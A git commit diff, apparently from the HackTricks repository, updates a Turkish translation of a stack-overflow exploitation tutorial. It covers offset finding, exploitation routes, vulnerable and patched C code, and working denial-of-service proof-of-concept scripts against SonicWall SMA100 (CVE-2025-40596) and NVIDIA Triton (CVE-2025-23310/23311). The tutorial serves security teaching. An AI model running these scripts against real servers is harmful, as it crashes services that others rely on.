Translated ['src/binary-exploitation/stack-overflow/README.md'] to tr

This commit is contained in:
Translator 2025-08-20 02:44:38 +00:00
parent ef8238fb37
commit 2c7e61f39c

View File

@ -4,7 +4,7 @@
## What is a Stack Overflow
Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesilmesine ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
Bu üzerine yazmanın ana sorunu, **kaydedilmiş talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kaydedilmiş temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**.
@ -23,9 +23,9 @@ printf("You entered: %s\n", buffer);
```
### Stack Overflow ofsetlerini Bulma
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresine erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** geçersiz kılmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü** döngüsel bir dizidir.
Ayrıca, bir Stack Overflow zafiyeti bulduğunuzda, **geri dönüş adresini** geçersiz kılmak için gereken ofseti bulmanız gerekecektir. Bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü döngüsel bir dizidir.**
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu geçersiz kılan baytların ofsetini bulmak mümkündür.
@ -50,7 +50,7 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## Stack Overflow'ları Sömürmek
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) **stack** içindeki yerel değişkenlerin değerlerini **üzerine yazma** işlemi yapabileceksiniz, bu da **kaydedilmiş EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) **stack** içindeki yerel değişkenlerin değerlerini **üzerine yazmak** mümkün olacaktır, bu da kaydedilmiş **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\
Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**.
Ancak, diğer senaryolarda sadece **stack'teki bazı değişken değerlerini üzerine yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
@ -65,7 +65,7 @@ ret2win/
### Stack Shellcode
Bu senaryoda, saldırgan stack'te bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir:
Bu senaryoda, saldırgan bir shellcode'u stack'e yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir:
{{#ref}}
stack-shellcode/
@ -97,7 +97,7 @@ Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar
### Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100)
**`sscanf`'in güvenilmeyecek girdi ayrıştırma işlemleri için asla güvenilmemesi** gerektiğinin iyi bir gösterimi, 2025 yılında SonicWallın SMA100 SSL-VPN cihazında ortaya çıktı. `/usr/src/EasyAccess/bin/httpd` içindeki savunmasız rutin, `/__api__/` ile başlayan herhangi bir URI'den sürüm ve uç noktayı çıkarmaya çalışmaktadır:
**`sscanf`'in güvenilmeyecek girdi ayrıştırması için asla güvenilmemesi gerektiğinin** iyi bir gösterimi, 2025 yılında SonicWallın SMA100 SSL-VPN cihazında ortaya çıktı. `/usr/src/EasyAccess/bin/httpd` içindeki savunmasız rutin, `/__api__/` ile başlayan herhangi bir URI'den sürüm ve uç noktayı çıkarmaya çalışmaktadır:
```c
char version[3];
char endpoint[0x800] = {0};
@ -106,7 +106,7 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. İlk dönüşüm (`%2s`) **iki** baytı `version` içine güvenli bir şekilde depolar (örneğin, `"v1"`).
2. İkinci dönüşüm (`%s`) **uzunluk belirleyiciye sahip değildir**, bu nedenle `sscanf` **ilk NUL baytına kadar** kopyalamaya devam eder.
3. `endpoint` **stack** üzerinde yer almakta ve **0x800 bayt uzunluğunda** olduğundan, 0x800 bayttan daha uzun bir yol sağlamak, tamponun ardından gelen her şeyi bozar **stack canary** ve **kayıtlı dönüş adresi** dahil.
3. Çünkü `endpoint` **stack** üzerinde yer almakta ve **0x800 bayt uzunluğunda** olduğundan, 0x800 bayttan daha uzun bir yol sağlamak, tamponun ardından gelen her şeyi bozar **stack canary** ve **kayıtlı dönüş adresi** dahil.
Kimlik doğrulama **öncesinde** çöküşü tetiklemek için tek satırlık bir kanıt konsepti yeterlidir:
```python
@ -115,12 +115,71 @@ warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
Stack canaries süreci durdurmasına rağmen, bir saldırgan hala bir **Denial-of-Service** primitive kazanır (ve, ek bilgi sızıntıları ile, muhtemelen kod yürütme). Ders basit:
Stack canaries süreci durdurmasına rağmen, bir saldırgan hala bir **Hizmet Reddi** primitive elde eder (ve, ek bilgi sızıntıları ile, muhtemelen kod yürütme). Ders basit:
* Her zaman bir **maksimum alan genişliği** sağlayın (örneğin, `%511s`).
* `snprintf`/`strncpy_s` gibi daha güvenli alternatifleri tercih edin.
## References
### Gerçek Dünya Örneği: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIAnın Triton Inference Server'ı (≤ v25.06) HTTP API'si aracılığıyla erişilebilen birden fazla **yığın tabanlı taşma** içeriyordu. Zayıf desen `http_server.cc` ve `sagemaker_server.cc` dosyalarında tekrar tekrar ortaya çıktı:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) mevcut HTTP istek gövdesini oluşturan **içerik tampon segmentlerinin sayısını** döndürür.
2. Her segment, `alloca()` aracılığıyla **stack** üzerinde **üst sınır olmaksızın** bir **16-byte** `evbuffer_iovec` tahsis edilmesine neden olur.
3. **HTTP _chunked transfer-encoding_** istismar edilerek, bir istemci isteğin **yüz binlerce 6-byte parçalara** (`"1\r\nA\r\n"`) bölünmesini zorlayabilir. Bu, `n`'nin stack tükenene kadar sınırsız büyümesine neden olur.
#### Kanıt-Konsept (DoS)
```python
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
A ~3 MB isteği, kaydedilmiş dönüş adresini geçersiz kılmak ve varsayılan yapılandırmadaki daemon'u **çökmek** için yeterlidir.
#### Yamanlama & Hafifletme
25.07 sürümü, güvensiz yığın tahsisini **heap destekli `std::vector`** ile değiştirir ve `std::bad_alloc`'u zarif bir şekilde işler:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
Öğrenilen dersler:
* Asla `alloca()`'yı saldırgan kontrolündeki boyutlarla çağırmayın.
* Parçalı istekler, sunucu tarafı tamponlarının şeklini önemli ölçüde değiştirebilir.
* Müşteri girdisinden türetilen herhangi bir değeri *kullanımdan önce* doğrulayın / sınırlayın.
## Referanslar
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
{{#include ../../banners/hacktricks-training.md}}